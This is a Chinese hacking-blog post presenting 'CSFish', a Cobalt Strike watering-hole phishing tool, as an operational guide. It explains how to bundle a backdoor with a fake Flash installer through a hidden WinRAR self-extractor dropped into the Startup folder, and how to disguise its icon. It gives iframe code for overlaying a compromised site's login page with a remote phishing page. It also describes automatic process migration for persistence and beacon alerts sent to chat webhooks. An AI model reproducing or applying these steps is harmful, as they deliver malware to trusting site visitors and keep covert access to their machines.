X黑手网
X黑手网
X黑手网

【黑客技术揭秘】CSFish:自动化水坑钓鱼,让权限维持如丝般顺滑

0x01 前言

水坑攻击属于APT攻击的一种,与其他社会工程手段(例如网络钓鱼)相比,水坑攻击的危险性来源于其利用的是不会被列入黑名单的合法网站。黑客无需耗费精力制作钓鱼网站,而是利用合法网站的弱点,隐蔽性比较强,更难被发现。访问者出于对这些网站的一贯信任,更容易放松警惕,继而落入水坑陷阱之中。最近自己也在研究水坑钓鱼这块的内容,发现从攻击者视角来看,水坑钓鱼存在几个关键技术点,第一就是钓鱼收杆,为什么呢,因为访问者踩了水坑,如果还一直触发钓鱼页面,肯定容易被察觉,从而可能导致权限丢失,所以需要在用户踩了水坑上线后,需要进行钓鱼收杆,其次是CS上线提醒和权限维持,可以在第一时间知道目标上线并做好简单的权限维持和后续工作,保障权限的稳定性,于是基于以上理念,开发了CSFish这款水坑钓鱼工具。

0x02 工具介绍

CSFish可以实现自动收杆+上线通知+权限维持,比如当在目标网站埋下水坑后,A用户访问此业务网站触发水坑,访问了钓鱼网站,下载木马并执行上线后,CS会第一时间发送上线通知到飞书或者钉钉,同时会自动进行进程迁移到系统进程,以达到木马隐蔽,权限维持目的,且当A用户再次访问此业务网站时,则不会再触发访问到钓鱼网站,但是B用户仍然可以触发访问到钓鱼网站,这样水坑钓鱼攻击则不易被识破,从而钓到更多的鱼。

CSFish功能实现的思维导图如下:

图片[1]-【黑客技术揭秘】CSFish:自动化水坑钓鱼,让权限维持如丝般顺滑-X黑手网

 

备注:说明一下,为什么我会在此项目加入比较内网IP的原因,因为如果是已经突破进入了内网环境的情况下,要进行内网横向,假设如果拿下了一个内网的PHP环境的业务网站服务器,那么可以把这套项目迁移到这个内网服务器的web目录下部署水坑,此时如果不比较内网IP地址,则无法收杆,因为此时fish.php获取到的访问IP一定是一个内网IP。

0x03 工具演示

准备工作

一台服务器,一个相似域名,一个免杀马。

在这里我准备好了新的flash界面,有两个文件夹:

  • fake_user:做水坑用的
  • fake_flash_domain:提供下载捆绑木马的

该文件一共包含两个

image

 

搭建开始

2.1 fake_user

在这里需要手动进行配置: index.html是要插入对方需要访问的网页中,进行水坑攻击的,其中<script src=’./flash.js’></script>是关键,在这需要配置你的文件。

而flash.js文件中,需要在引入的js中加入https,在文件尾部写上你的引用要下载木马的地址:

image

2.2 fake_flash_domain

在这里只需要进行一个配置index.html

image

然后全文将两处立即下载的地址替换掉:

image

image

用cs生成后门的后门程序并捆绑flash的安装程序

安装Winrar。

同时选中后门与Flash官方安装包,右键选择:添加到压缩文件。

image

选择:创建自解压格式压缩文件–>修改:压缩文件名(使其看起来更可信)

  1. image

选择:高级–>自解压选项–>更新–>更新模式:解压并更新文件–>覆盖模式:覆盖所有文件

image

高级自解压选项窗口中选择:常规–>解压路径放到windows开机自启动目录

C:\ProgramData\Microsoft\Windows\StartMenu\Programs\Startup

image

高级自解压选项窗口中选择:设置–>解压后运行:r9VTngXsPg.exe–>解压前运行:flashplayerpp_install_cn.exe

image

高级自解压选项窗口中选择:模式–>全部隐藏

image

生成文件

为了增加可信度,修改生成后的文件图标

使用 ResourceHacker 导出flash官方文件的图标组

image

再用 ResourceHacker 将生成的自解压文件图标组修改成刚刚导出的flash图标组

image

存为exe文件,再次确保命名为官网相同文件名

  1. 上传到VPS服务器中

4 处理WEB站点过程

  1.  

模拟存在XSS网站的VPS服务器:index.html

1、假设此处我通过漏洞或者getshell获得了修改前端文件的权限,我在登录页面

login.html中嵌入一个iframe标签,使远程服务器的html(此处我的钓鱼文件是部署在云服务器的)能远程加载到业务网站的登录页面。

image

<iframe src="http://xxxx/index.html" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"></iframe>

2、当用户访问业务网站登录页面时,则会访问到钓鱼页面,此处钓鱼页面用的是flash模版,效果如下,点击立即升级(注意:此处使用iframe是让远程服务器的页面加载到业务网站的页面,所以上方地址栏不会显示为你加载的钓鱼页面网址,而是业务网站自身网址,这样会增强访问者的信任)

image

3、点击立即升级,会跳转到下载页面,点击立即下载,则会下载到通过精心构造的捆绑木马安装包

image

4、点击安装即可上线CS,上线CS后,CS客户端或者服务端(根据插件CSFish.cna加载位置)则会自动获取becaon信息并把相应信息发送到远程服务器PHP,并实现自动进程迁移,以达到隐蔽木马进程,权限维持的作用。

image

5、远程服务器的PHP接收到来之CS发送过来的主机信息后,会把主机的出口IP地址和内网地址写入到两个文本文件中保存,用于记录已经上线的主机信息。

image

image

6、PHP除了记录IP信息外,还会获取其它信息,例如,监听器、载荷名、用户名、时间戳等信息,并把这些信息通过webhook地址发送到飞书,实现CS上线提醒。

image

7、CS上线提醒效果如下图(飞书APP通知权限打开,就可以像vx一样弹窗提醒)

image

8、当访问者已经上线后,再次去访问业务网站的登录页面,则自动恢复为正常的业务网站登录页面样子,不再加载钓鱼页面,从而实现钓鱼收杆。

image

CSFish使用方法

修改CSFish.cna第4行代码为你要迁移的进程名,此处默认为explorer.exe

修改CSFish.cna第5行代码为自己CS监听器名称

修改CSFish.cna第40行代码为自己PHP服务器地址

修改fish.php第3行代码为自己钓鱼页面地址

修改fish.php第64或第71行代码为自己飞书或者钉钉的webhook地址(两个填一个即可,推荐使用飞书)

创建飞书webhook参考文章:https://blog.csdn.net/qq_74046217/article/details/133429541

备注:如果不想实现CS自动进程注入,删除CSFish.cna第3-20行代码即可

0x04 工具下载

推荐阅读

Cobalt Strike(cs)配合插件CrossC2,实现linux上线笔记-X黑手网
隐藏防朔源-隐藏CS真实上线IP地址-X黑手网
© 版权声明
THE END
喜欢就支持一下吧
点赞11赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容